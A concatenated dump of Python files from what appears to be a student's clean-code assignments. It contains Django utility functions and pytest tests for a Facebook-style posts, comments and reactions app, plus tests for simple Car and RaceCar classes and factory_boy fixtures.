def test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id(user):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
# Act
post_id = create_post(user_id,'post1')
# Assert
post_object = Post.objects.get(id = post_id)
assert post_object.posted_by_id == user_id
assert post_object.content == 'post1'
assert post_object.posted_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 03 "
def test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user, post):
# Arrange
invalid_user_id = 2
post_id = Post.objects.get(content = 'post1').id
comment_content = 'comment1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert create_comment(invalid_user_id, post_id, comment_content)
def test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception(user, post):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
invalid_post_id = 2
comment_content = 'comment1'
# Act
with pytest.raises(InvalidPostException) as e: # Asserting the exception
assert create_comment(user_id, invalid_post_id, comment_content)
def test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception(user, post):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
post_id = Post.objects.get(content = 'post1').id
invalid_comment_content = ''
# Act
with pytest.raises(InvalidCommentContent) as e: # Asserting the exception
assert create_comment(user_id, post_id, invalid_comment_content)
@freeze_time("2012-01-14")
def test_create_comment_when_valid_user_id_and_comment_content_are_given_returns_created_comment_id(user, post):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
post_id = Post.objects.get(content = 'post1').id
comment_content = 'comment1'
# Act
create_comment(user_id, post_id, comment_content)
# Assert
comment_object = Comment.objects.get(commented_by_id = user_id)
assert comment_object.commented_by_id == user_id
assert comment_object.post_id == post_id
assert comment_object.content == 'comment1'
assert comment_object.commented_at.replace(tzinfo = None) == datetime.datetime.now()
" Task 04 "
def test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception(user,post,comment):
# Arrange
invalid_user_id = 2
comment_id = Comment.objects.get(content = 'comment1').id
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidUserException) as e: # Asserting the exception
assert reply_to_comment(invalid_user_id, comment_id, reply_content)
def test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception(user,post,comment):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
invalid_comment_id = 2
reply_content = 'reply to comment1'
# Act
with pytest.raises(InvalidCommentException) as e: # Asserting the exception
assert reply_to_comment(user_id, invalid_comment_id, reply_content)
def test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception(user,post,comment):
# Arrange
user_id = User.objects.get(name = 'Vinay').id
comment_id = Comment.objects.get(content = 'comment1').id
invalid_reply_content = ''
# Act
with pytest.raises(InvalidReplyContent) as e: # Asserting the exception
assert reply_to_comment(user_id, comment_id, invalid_reply_content)
"""
"""
"""""
# task 1
test_user_construction_object_when_invalid_raises_exception
test_post_construction_object_when_invalid_raises_exception
test_comment_construction_object_when_invalid_raises_exception
test_reaction_construction_object_when_invalid_raises_exception
# task 2
test_create_post_when_user_is_inavlid_raises_inavlid_user_exception
test_create_post_when_post_content_is_inavlid_raises_inavlid_post_content_exception
test_create_post_when_valid_user_id_and_post_content_are_given_returns_post_id
# task 3
test_create_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_create_comment_when_post_id_is_inavlid_raises_inavlid_post_exception
test_create_comment_when_comment_content_is_inavlid_raises_inavlid_comment_content_exception
test_create_comment_when_valid_user_id_and_comment_content_are_given_returns_created_comment_id
# task 4
test_reply_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_reply_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_reply_to_comment_when_reply_content_is_inavlid_raises_inavlid_reply_content_exception
test_reply_to_comment_if_comment_id_corresponds_to_reply_create_post_object_returns_created_comment_id
# task 5
test_react_to_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_react_to_post_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_post_create_reaction_if_user_is_reacting_to_post_for_first_time_with_valid_details_creates_reaction_object
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_post_when_user_already_reacted_to_post_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 6
test_react_to_comment_when_user_id_is_inavlid_raises_inavlid_user_exception
test_react_to_comment_when_comment_id_is_inavlid_raises_inavlid_comment_exception
test_react_to_comment_when_reaction_type_is_invalid_raises_invalid_reaction_type_exception
test_react_to_comment_create_reaction_if_user_is_reacting_to_comment_for_first_time_with_valid_details_creates_reaction_object
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_same_as_given_reaction_type_then_delete_the_existing_reaction_of_user
test_react_to_comment_when_user_already_reacted_to_comment_and_user_reaction_type_is_different_from_given_reaction_type_then_update_the_existing_reaction_of_user_with_latest_date_and_time
# task 7
test_get_total_reaction_count_if_user_reactions_are_available_returns_total_reactions_count_in_dictionary
test_get_total_reaction_count_if_user_reactions_are_unavailable_returns_total_reactions_count_with_zero_value_in_dictionary
# task 8
test_get_reaction_metrics_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reaction_metrics_if_post_has_reactions_returns_total_number_of_reactions_for_each_reaction_type_in_dictionary
test_get_reaction_metrics_if_post_has_no_reactions_returns_empty_dictionary
# task 9
test_delete_post_when_user_id_is_inavlid_raises_inavlid_user_exception
test_delete_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_delete_post_when_user_is_not_the_creator_of_post_raises_user_cannot_delete_post_exception
test_delete_post_when_user_is_the_creator_of_post_delete_the_post_object
# task 10
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_greater_than_negative_reactions_of_post_returns_post_ids_of_posts_in_list
test_get_posts_with_more_positive_reactions_if_positive_reactions_of_post_not_greater_than_negative_reactions_of_post_returns_empty_list
# task 11
test_get_posts_reacted_by_user_when_user_id_is_inavlid_raises_inavlid_user_exception
test_get_posts_reacted_by_user_when_user_reacts_to_posts_returns_post_ids_of_user_reacted_posts_in_list
test_get_posts_reacted_by_user_when_user_does_not_react_to_any_posts_returns_empty_list
# task 12
test_get_reactions_to_post_when_post_id_is_inavlid_raises_inavlid_post_exception
test_get_reactions_to_post_if_post_has_reactions_returns_list_of_dictionaries_of_user_details_of_post
test_get_reactions_to_post_if_post_has_no_reactions_returns_empty_list
"""""<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_sound_horn.py
def test_race_car_object_sound_horn_when_engine_is_started_returns_peep_peep_and_beep_beep(capsys, race_car):
# Arrange
race_car.start_engine()
# Act
race_car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Peep Peep\nBeep Beep\n'
def test_race_car_object_sound_horn_when_engine_is_stop_returns_start_the_engine_to_sound_horn(capsys, race_car):
# Act
race_car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to sound_horn\n'
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_race_car_nitro.py
import pytest
from race_car import RaceCar
@pytest.mark.parametrize(
"value_of_color, value_of_max_speed, value_of_acceleration, value_of_tyre_friction, value_of_current_speed, value_of_nitro_value",
[('Red', 200, 60, 10, 110, 10), ('Blue', 150, 55, 25, 85, 10),
('Black', 21, 5, 5, 5, 0), ('Green', 100, 20, 10, 30, 0)])
def test_nitro_of_race_car_when_race_car_apply_breaks_after_accelerating_half_more_than_max_speed_returns_current_speed(value_of_color, value_of_max_speed, value_of_acceleration, value_of_tyre_friction, value_of_current_speed, value_of_nitro_value):
# Arrange
race_car = RaceCar(color=value_of_color, max_speed=value_of_max_speed,
acceleration=value_of_acceleration,
tyre_friction=value_of_tyre_friction)
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
race_car.apply_brakes()
# Act
nitro = race_car.nitro
# Assert
assert nitro == value_of_nitro_value
assert race_car.current_speed == value_of_current_speed
@pytest.mark.parametrize(
"color, max_speed, acceleration, tyre_friction, current_speed, nitro_value",
[('Red', 200, 60, 10, 188, 0), ('Blue', 155, 55, 25, 155, 0)])
def test_nitro_and_current_speed_of_race_car_when_race_car_apply_breaks_after_accelerating_half_more_than_max_speed_and_then_accelerate_returns_current_speed(color, max_speed, acceleration, tyre_friction, current_speed, nitro_value):
# Arrange
race_car = RaceCar(color=color, max_speed=max_speed,
acceleration=acceleration,
tyre_friction=tyre_friction)
race_car.start_engine()
race_car.accelerate()
race_car.accelerate()
race_car.apply_brakes()
race_car.accelerate()
# Act
nitro = race_car.nitro
# Assert
assert nitro == nitro_value
assert race_car.current_speed == current_speed
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils.py
from .models import User, Post, Comment, Reaction
from datetime import datetime
from django.db.models import Avg, Max, FloatField, Count, Q, Min, Prefetch, F
from django.forms import model_to_dict
from collections import defaultdict
from .exceptions import *
def check_whether_user_id_exists(user_id):
user_object = User.objects.filter(id=user_id)
if not user_object:
raise InvalidUserException
else:
return user_object[0]
def check_whether_post_id_exists(post_id):
post_object = Post.objects.filter(id=post_id)
if not post_object:
raise InvalidPostException
else:
return post_object[0]
def check_whether_comment_id_exists(comment_id):
comment_object = Comment.objects.filter(id=comment_id)
if not comment_object:
raise InvalidCommentException
else:
return comment_object[0]
def check_whether_reaction_type_exists(reaction_type):
reactions = ['WOW', 'LIT', 'LOVE', 'HAHA', 'THUMBS-UP', 'THUMBS-DOWN',
'ANGRY', 'SAD']
if reaction_type not in reactions:
raise InvalidReactionTypeException
# Task 02
def create_post(user_id, post_content):
user_object = check_whether_user_id_exists(user_id)
if not post_content:
raise InvalidPostContent
return (Post.objects.create(posted_by_id=user_id,
content=post_content).id)
# Task 03
def create_comment(user_id, post_id, comment_content):
user_object = check_whether_user_id_exists(user_id)
post_object = check_whether_post_id_exists(post_id)
if not comment_content:
raise InvalidCommentContent
return (Comment.objects.create(commented_by_id=user_id,
post=post_object,
content=comment_content).id)
# Task 04
def reply_to_comment(user_id, comment_id, reply_content):
user_object = check_whether_user_id_exists(user_id)
comment_object = check_whether_comment_id_exists(comment_id)
if not reply_content:
raise InvalidReplyContent
if comment_object.parent_comment_id != None:
comment_id = comment_object.parent_comment_id
return (Comment.objects.create(commented_by_id=user_id,
post_id=comment_object.post_id,
parent_comment_id=comment_id,
content=reply_content).id)
# Task 05
def react_to_post(user_id, post_id, reaction_type):
user_object = check_whether_user_id_exists(user_id)
post_object = check_whether_post_id_exists(post_id)
check_whether_reaction_type_exists(reaction_type)
reaction_object = Reaction.objects.filter(reacted_by_id=user_id,
post_id=post_id)
if reaction_object:
if reaction_type in reaction_object[0].reaction:
reaction_object[0].delete()
else:
reaction_object.update(reaction=reaction_type)
else:
Reaction.objects.create(reacted_by_id=user_id, post_id=post_id,
reaction=reaction_type)
# Task 06
def react_to_comment(user_id, comment_id, reaction_type):
user_object = check_whether_user_id_exists(user_id)
comment_object = check_whether_comment_id_exists(comment_id)
check_whether_reaction_type_exists(reaction_type)
reaction_object = Reaction.objects.filter(reacted_by_id=user_id,
comment_id=comment_id)
if reaction_object:
if reaction_type in reaction_object[0].reaction:
reaction_object[0].delete()
else:
reaction_object[0].reaction = reaction_type
reaction_object[0].save()
else:
Reaction.objects.create(reacted_by_id=user_id, comment_id=comment_id,
reaction=reaction_type)
# Task 07
def get_total_reaction_count():
return Reaction.objects.aggregate(count=Count('reaction'))
# Task 08
def get_reaction_metrics(post_id):
post_object = check_whether_post_id_exists(post_id)
reaction_metrics = dict(Reaction.objects.filter(post=Post(post_id))
.values_list('reaction')
.annotate(Count('id')))
return reaction_metrics
# Task 09
def delete_post(user_id, post_id):
user_object = check_whether_user_id_exists(user_id)
post_object = check_whether_post_id_exists(post_id)
if post_object.posted_by_id == user_id:
post_object.delete()
else:
raise UserCannotDeletePostException
# Task 10
def get_posts_with_more_positive_reactions():
Positive_reactions = ['THUMBS-UP', 'LIT', 'LOVE', 'HAHA', 'WOW']
Negative_reactions = ['SAD', 'ANGRY', 'THUMBS-DOWN']
no_of_positive_reactions = Count('reaction',
filter=Q(reaction__in=Positive_reactions))
no_of_negative_reactions = Count('reaction',
filter=Q(reaction__in=Negative_reactions))
posts_with_more_positive_reactions = list(Reaction.objects.annotate(
positive_count=no_of_positive_reactions,
negative_count=no_of_negative_reactions)
.filter(positive_count__gt=
F('negative_count'))
.values_list('post_id',
flat=True)
.distinct())
return posts_with_more_positive_reactions
# Task 11
def get_posts_reacted_by_user(user_id):
user_object = check_whether_user_id_exists(user_id)
posts_reacted_by_user = list(Reaction.objects.filter(
reacted_by_id=user_id
).values_list('post_id', flat=True).distinct())
return posts_reacted_by_user
# Task 12
def get_reactions_to_post(post_id):
post_object = check_whether_post_id_exists(post_id)
reactions_to_post = list(Reaction.objects.filter(post_id=post_id)
.annotate(user_id=F('reacted_by__id'),
name=F('reacted_by__name'),
profile_pic=F('reacted_by__profile_pic'))
.values('user_id', 'name', 'profile_pic',
'reaction'))
return reactions_to_post
# Task 13
def get_post(post_id, execute_with_query=True):
if execute_with_query:
post_object = check_whether_post_id_exists(post_id)
post_object = Post.objects.filter(id=post_id
).select_related('posted_by'
).prefetch_related(
Prefetch('comments',
queryset=Comment.objects.select_related('commented_by')),
'reactions', 'comments__reactions')[0]
else:
post_object = post_id
post_dic = {}
post_dic['post_id'] = post_object.id
posted_by = {}
posted_by['name'] = post_object.posted_by.name
posted_by['user_id'] = post_object.posted_by.id
posted_by['profile_pic'] = post_object.posted_by.profile_pic
post_dic['posted_by'] = posted_by
posted_at = post_object.posted_at.strftime('%Y-%m-%d %H:%M:%S.%f')
post_dic['posted_at'] = posted_at
post_dic['post_content'] = post_object.content
reactions_dict = {"count":0,"type":[]}
for reaction_obj in post_object.reactions.all():
reactions_dict['count'] += 1
if reaction_obj.reaction not in reactions_dict['type']:
reactions_dict['type'].append(reaction_obj.reaction)
post_dic['reactions'] = reactions_dict
comment_list = []
for comment_obj in post_object.comments.all():
if not(comment_obj.parent_comment_id):
comment_dict = get_comment_from_comment_object(comment_obj)
reply_list = []
for reply_obj in post_object.comments.all():
if reply_obj.parent_comment_id == comment_obj.id:
reply_dict = get_comment_from_comment_object(reply_obj)
reply_list.append(reply_dict)
comment_dict['replies_count'] = len(reply_list)
comment_dict['replies'] = reply_list
comment_list.append(comment_dict)
post_dic['comments'] = comment_list
post_dic['comments_count'] = len(comment_list)
return post_dic
# Task 14
def get_user_posts(user_id):
user_object = check_whether_user_id_exists(user_id)
post_objects = Post.objects.filter(posted_by_id=user_id
).select_related('posted_by'
).prefetch_related(
Prefetch('comments',queryset=
Comment.objects.select_related('commented_by')),
'reactions','comments__reactions')
user_posts_list = []
for post_obj in post_objects:
post_dic = get_post(post_obj,execute_with_query = False)
user_posts_list.append(post_dic)
return user_posts_list
# Task 15
def get_replies_for_comment(comment_id):
comment_object = check_whether_comment_id_exists(comment_id)
replies_for_comment_list = []
comment_objects = list(Comment.objects.select_related('commented_by'
).filter(parent_comment_id=comment_id))
for objects in comment_objects:
replies_for_comment = {}
replies_for_comment['comment_id'] = objects.id
commenter_dict = {}
commenter_dict['user_id'] = objects.commented_by_id
commenter_dict['name'] = objects.commented_by.name
commenter_dict['profile_pic'] = objects.commented_by.profile_pic
replies_for_comment['commenter'] = commenter_dict
commented_at = objects.commented_at.strftime('%Y-%m-%d %H:%M:%S.%f')
replies_for_comment['commented_at'] = commented_at
replies_for_comment['comment_content'] = objects.content
replies_for_comment_list.append(replies_for_comment)
return replies_for_comment_list
def get_comment_from_comment_object(obj):
comment_dict = {}
comment_dict['comment_id'] = obj.id
commenter_dict = {}
commenter_dict['user_id'] = obj.commented_by_id
commenter_dict['name'] = obj.commented_by.name
commenter_dict['profile_pic'] = obj.commented_by.profile_pic
comment_dict['commenter'] = commenter_dict
commented_at = obj.commented_at.strftime('%Y-%m-%d %H:%M:%S.%f')
comment_dict['commented_at'] = commented_at
comment_dict['comment_content'] = obj.content
reactions_dict = {"count":0,"type":[]}
for reaction_obj in obj.reactions.all():
reactions_dict['count'] += 1
if reaction_obj.reaction not in reactions_dict['type']:
reactions_dict['type'].append(reaction_obj.reaction)
comment_dict['reactions'] = reactions_dict
return comment_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/tests/test_get_user_posts_with_less_details.py
import pytest
from fb_post.exceptions import InvalidPostException, InvalidUserException
from fb_post.constants import ReactionType
from fb_post.utils import get_user_posts
from .check_returned_and_excepted_arguments import (
is_excepted_and_returned_output_of_posts_equal)
pytestmark = pytest.mark.django_db
def test_get_user_posts_when_user_id_is_invalid_raises_invalid_user_exception(post):
# Arrange
invalid_user_id = 100
# Act
with pytest.raises(InvalidUserException) :
assert get_user_posts(invalid_user_id)
def test_get_user_posts_when_user_has_posts_returns_list_of_dictionaries_of_post_details_of_user(reaction, reaction_to_comments):
# Arrange
user_id = 1
expected = [
{'post_id': 1,
'posted_by': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post1',
'reactions': {'count': 2,
'type': [ReactionType.WOW.value,
ReactionType.LIT.value]},
'comments': [
{
'comment_id': 1,
'commenter': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 3,
'type': [ReactionType.LIT.value,
ReactionType.THUMBS_DOWN.value]
},
'replies_count': 0,
'replies': []
},
{'comment_id': 3,
'commenter': {'user_id': 2,
'name': 'user2',
'profile_pic': 'user2_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment1',
'reactions': {'count': 1,
'type': [ReactionType.ANGRY.value]},
'replies_count': 0,
'replies': []
},
{'comment_id': 4,
'commenter': {'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment2',
'reactions': {'count': 1,
'type': [ReactionType.THUMBS_UP.value]},
'replies_count': 0,
'replies': []
}
],
'comments_count': 3
},
{'post_id': 2,
'posted_by': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'posted_at': '2012-09-10 00:00:00.000000',
'post_content': 'post2',
'reactions': {'count': 1, 'type': [ReactionType.SAD.value]},
'comments': [
{'comment_id': 2,
'commenter': {'user_id': 1,
'name': 'user1',
'profile_pic': 'user1_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment2',
'reactions': {'count': 1,
'type': [ReactionType.SAD.value]},
'replies_count': 0,
'replies': []
},
{'comment_id': 5,
'commenter': {'user_id': 3,
'name': 'user3',
'profile_pic': 'user3_pic'},
'commented_at': '2012-09-10 00:00:00.000000',
'comment_content': 'comment3',
'reactions': {'count': 0, 'type': []},
'replies_count': 0,
'replies': []
}
],
'comments_count': 2}
]
# Act
returned = get_user_posts(user_id)
# Assert
assert is_excepted_and_returned_output_of_posts_equal(returned, expected)
def test_get_user_posts_when_user_does_not_posts_returns_empty_list(user):
# Arrange
user_id = 2
user_posts_list_excpected = []
# Act
list_of_user_posts = get_user_posts(user_id)
# Assert
assert user_posts_list_excpected == list_of_user_posts
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_posts_reacted_by_user.py
from fb_post.models import Reaction
from .fb_post_exception_methods import check_whether_user_id_exists
# Task 11
def get_posts_reacted_by_user(user_id):
check_whether_user_id_exists(user_id)
list_of_posts_reacted_by_user = list(Reaction.objects
.filter(reacted_by_id=user_id)
.values_list('post_id', flat=True)
.distinct())
return list_of_posts_reacted_by_user
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_object_creation.py
from car import Car
########### ******** Testing wether One object is creating ******** ###########
def test_car_creating_one_car_object_with_given_instances_creates_car_object():
# Arrange
color = 'Black'
max_speed = 200
acceleration = 30
tyre_friction = 7
car_obj = Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Act
result = isinstance(car_obj, Car)
# Assert
assert result is True
########### ******** Testing wether Multiple objects are creating ******** ###########
def test_car_creating_multiple_car_objects_with_given_instances_creates_car_objects():
# Arrange
car_obj1 = Car(color='Red', max_speed=250, acceleration=50,
tyre_friction=10)
car_obj2 = Car(color='Black', max_speed=200, acceleration=40,
tyre_friction=7)
# Act
creation_of_car_object1 = isinstance(car_obj1, Car)
creation_of_car_object2 = isinstance(car_obj2, Car)
result = car_obj1 == car_obj2
# Assert
assert creation_of_car_object1 is True
assert creation_of_car_object2 is True
assert result is False
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_replies_for_comment.py
from fb_post.constants import DatetimeFormat
from fb_post.models import Comment
from .fb_post_exception_methods import check_whether_comment_id_exists
from .user_info import dict_of_user_info
# Task 15
def get_replies_for_comment(comment_id):
check_whether_comment_id_exists(comment_id)
replies_list = list(Comment.objects
.filter(parent_comment_id=comment_id)
.select_related('commented_by'))
list_of_replies_details_dict = [get_reply_details(reply)
for reply in replies_list]
return list_of_replies_details_dict
def get_reply_details(reply_obj):
commented_at = reply_obj.commented_at.strftime(DatetimeFormat)
reply_comment_dict = {
'comment_id': reply_obj.id,
'commenter': dict_of_user_info(reply_obj.commented_by),
'commented_at': commented_at,
'comment_content': reply_obj.content,
}
return reply_comment_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_create_post.py
from fb_post.models import Post
from .fb_post_exception_methods import (
check_whether_user_id_exists,
check_whether_post_content_exists
)
# Task 02
def create_post(user_id, post_content):
check_whether_user_id_exists(user_id)
check_whether_post_content_exists(post_content)
new_post_object = Post.objects.create(posted_by_id=user_id,
content=post_content)
return new_post_object.id
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/factory_sample.py
from datetime import datetime, timedelta
import random
import factory, factory.fuzzy
from .models import User, Post, Comment, Reaction
from .constants import ReactionType
class UserFactory(factory.django.DjangoModelFactory):
class Meta:
model = User
name = factory.Sequence(lambda n: 'vinay%d' % n)
@factory.lazy_attribute
def profile_pic(self):
return <EMAIL>' % self.name
class PostFactory(factory.django.DjangoModelFactory):
class Meta:
model = Post
posted_by = factory.SubFactory(UserFactory)
posted_at = factory.LazyFunction(datetime.now)
@factory.sequence
def content(n):
return 'post content of post%d' % n
# posted_by = factory.SubFactory(UserFactory,
# username=factory.LazyAttribute(
# lambda o: o.factory_parent.post_content))
class PostCommentFactory(factory.django.DjangoModelFactory):
class Meta:
model = Comment
commented_by = factory.SubFactory(UserFactory)
post = factory.SubFactory(PostFactory)
commented_at = factory.LazyFunction(datetime.now)
parent_comment = None
@factory.sequence
def content(n):
return 'comment content of comment%d' % n
class ReplyCommentFactory(PostCommentFactory):
parent_comment = factory.Iterator(Comment.objects.all())
Reaction_Choices = (
(ReactionType.LIT.value, ReactionType.LIT.value),
(ReactionType.WOW.value, ReactionType.WOW.value),
(ReactionType.HAHA.value, ReactionType.HAHA.value),
(ReactionType.THUMBS_UP.value, ReactionType.THUMBS_UP.value),
(ReactionType.THUMBS_DOWN.value, ReactionType.THUMBS_DOWN.value),
(ReactionType.SAD.value, ReactionType.SAD.value),
(ReactionType.ANGRY.value, ReactionType.ANGRY.value)
)
class PostReactionsFactory(factory.django.DjangoModelFactory):
class Meta:
model = Reaction
reacted_by = factory.SubFactory(UserFactory)
post = factory.SubFactory(PostFactory)
comment = None
reacted_at = factory.LazyFunction(datetime.now)
reaction = factory.fuzzy.FuzzyChoice(Reaction_Choices, getter=lambda c: c[0])
class CommentReactionsFactory(PostReactionsFactory):
comment = factory.SubFactory(PostCommentFactory)
class ReplyCommentReactionsFactory(PostReactionsFactory):
comment = factory.SubFactory(ReplyCommentFactory)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_react_to_comment.py
from fb_post.models import Reaction
from .fb_post_exception_methods import (check_whether_user_id_exists,
check_whether_comment_id_exists,
check_whether_reaction_type_exists)
from .fb_post_react_to_post import undo_reaction, update_reaction
# Task 06
def react_to_comment(user_id, comment_id, reaction_type):
check_whether_user_id_exists(user_id)
check_whether_comment_id_exists(comment_id)
check_whether_reaction_type_exists(reaction_type)
try:
reaction_object = Reaction.objects.get(reacted_by_id=user_id,
comment_id=comment_id)
except Reaction.DoesNotExist:
Reaction.objects.create(reacted_by_id=user_id,
comment_id=comment_id,
reaction=reaction_type)
return
comment_reaction_is_same_as_reaction_type = (reaction_type ==
reaction_object.reaction)
if comment_reaction_is_same_as_reaction_type:
undo_reaction(reaction_object)
else:
update_reaction(reaction_object, reaction_type)
<file_sep>/covid_extra_py_files/test_add_data_for_state_cumulative_wise_report_interactor.py
# import pytest
# from datetime import date
# from unittest.mock import create_autospec
# from django_swagger_utils.drf_server.exceptions import NotFound
# from covid_dashboard.interactors. \
# add_data_for_state_cumulative_wise_report_interactor import \
# AddDataForStateCumulativeWiseReportInteractor
# from covid_dashboard.interactors.storages.state_storage_interface \
# import StateStorageInterface
# from covid_dashboard.interactors.presenters.presenter_interface \
# import PresenterInterface
# from covid_dashboard.interactors.storages.dtos \
# import CumulativeStateWiseReportDto, CumulativeStateReportDto
# from covid_dashboard.exceptions.exceptions import InvalidStateIdException
# def test_with_invalid_state_id_raises_exceptions():
# # Arrange
# state_id = "gv"
# total_confirmed_cases = 100
# total_active_cases = 90
# total_deaths = 6
# total_recovered_cases = 4
# storage = create_autospec(StateStorageInterface)
# presenter = create_autospec(PresenterInterface)
# storage.validate_state_id.side_effect = InvalidStateIdException
# presenter.raise_state_exception_if_state_id_is_invalid. \
# side_effect = NotFound
# interactor = AddDataForStateCumulativeWiseReportInteractor(
# state_storage=storage,
# presenter=presenter)
# # Act
# with pytest.raises(NotFound):
# interactor.add_data_for_state_cumulative_wise_report(
# state_id=state_id,
# total_confirmed_cases=total_confirmed_cases,
# total_active_cases=total_active_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases)
# def test_add_data_for_state_cumulative_report_with_valid_details(
# state_dtos,
# cumulative_state_wise_report_dtos,
# get_deatils_for_cumulative_state_wise_report):
# # Arrange
# state_id = 1
# total_confirmed_cases = 100
# total_active_cases = 90
# total_deaths = 6
# total_recovered_cases = 4
# select_date_for_details = date.today()
# state_name = "AndharaPradesh"
# expected_details_of_cumulative_state_wise_report_dict = \
# get_deatils_for_cumulative_state_wise_report
# storage = create_autospec(StateStorageInterface)
# presenter = create_autospec(PresenterInterface)
# interactor = AddDataForStateCumulativeWiseReportInteractor(
# state_storage=storage,
# presenter=presenter)
# cumulative_state_report = CumulativeStateReportDto(
# total_confirmed_cases=total_confirmed_cases,
# total_active_cases=total_active_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases
# )
# cumulative_state_wise_report_dto = CumulativeStateWiseReportDto(
# date=select_date_for_details,
# state_name=state_name,
# cumulative_state_report=cumulative_state_report
# )
# storage.add_data_for_state_cumulative_wise_report. \
# return_value = cumulative_state_wise_report_dto
# presenter.get_response_add_data_for_state_cumulative_wise_report. \
# return_value = expected_details_of_cumulative_state_wise_report_dict
# # Act
# details_of_cumulative_state_wise_report_dict = interactor. \
# add_data_for_state_cumulative_wise_report(
# state_id=state_id,
# total_confirmed_cases=total_confirmed_cases,
# total_active_cases=total_active_cases,
# total_deaths=total_deaths,
# total_recovered_cases=total_recovered_cases)
# # Assert
# assert details_of_cumulative_state_wise_report_dict == \
# expected_details_of_cumulative_state_wise_report_dict
# storage.validate_state_id.assert_called_once_with(state_id=state_id)
# presenter.get_response_add_data_for_state_cumulative_wise_report. \
# assert_called_once_with(
# cumulative_state_wise_report_dto=cumulative_state_wise_report_dto)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_engine_start_or_stop.py
def test_car_object_when_engine_is_started_returns_true(car):
# Arrange
car.start_engine()
# Act
car_engine_start = car.is_engine_started
# Assert
assert car_engine_start is True
def test_car_object_when_engine_is_started_twice_returns_true(car):
# Arrange
car.start_engine()
car.start_engine()
# Act
car_engine_start = car.is_engine_started
# Assert
assert car_engine_start is True
def test_car_object_when_engine_is_stop_returns_false(car):
# Arrange
car.stop_engine()
# Act
car_engine_stop = car.is_engine_started
# Assert
assert car_engine_stop is False
def test_car_object_when_engine_is_stop_twice_returns_false(car):
# Arrange
car.stop_engine()
car.stop_engine()
# Act
car_engine_stop = car.is_engine_started
# Assert
assert car_engine_stop is False
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_details_of_post.py
from fb_post.constants import DatetimeFormat
from .user_info import dict_of_user_info
def get_post_details_in_dictionary(post_object):
post_dic = {
"post_id": post_object.id,
"posted_by": dict_of_user_info(post_object.posted_by),
"posted_at": post_object.posted_at.strftime(DatetimeFormat),
"post_content": post_object.content,
"reactions": get_post_reactions_in_dict(post_object)
}
comment_list = get_post_comment_list(post_object.comments.all())
post_dic['comments'] = comment_list
post_dic['comments_count'] = len(comment_list)
return post_dic
def get_comment_from_comment_object(comment_obj):
commented_at = comment_obj.commented_at.strftime(DatetimeFormat)
comment_dict = {
'comment_id': comment_obj.id,
'commenter': dict_of_user_info(comment_obj.commented_by),
'commented_at': commented_at,
'comment_content': comment_obj.content,
'reactions': get_post_reactions_in_dict(comment_obj)
}
return comment_dict
def get_post_comment_list(comments):
comment_list = []
for comment_obj in comments:
comment_parent_id_is_not_none = not comment_obj.parent_comment_id
if comment_parent_id_is_not_none:
comment_dict = get_comment_and_reply_objects(comment_obj,
comments)
comment_list.append(comment_dict)
return comment_list
def get_comment_and_reply_objects(comment_obj, comments):
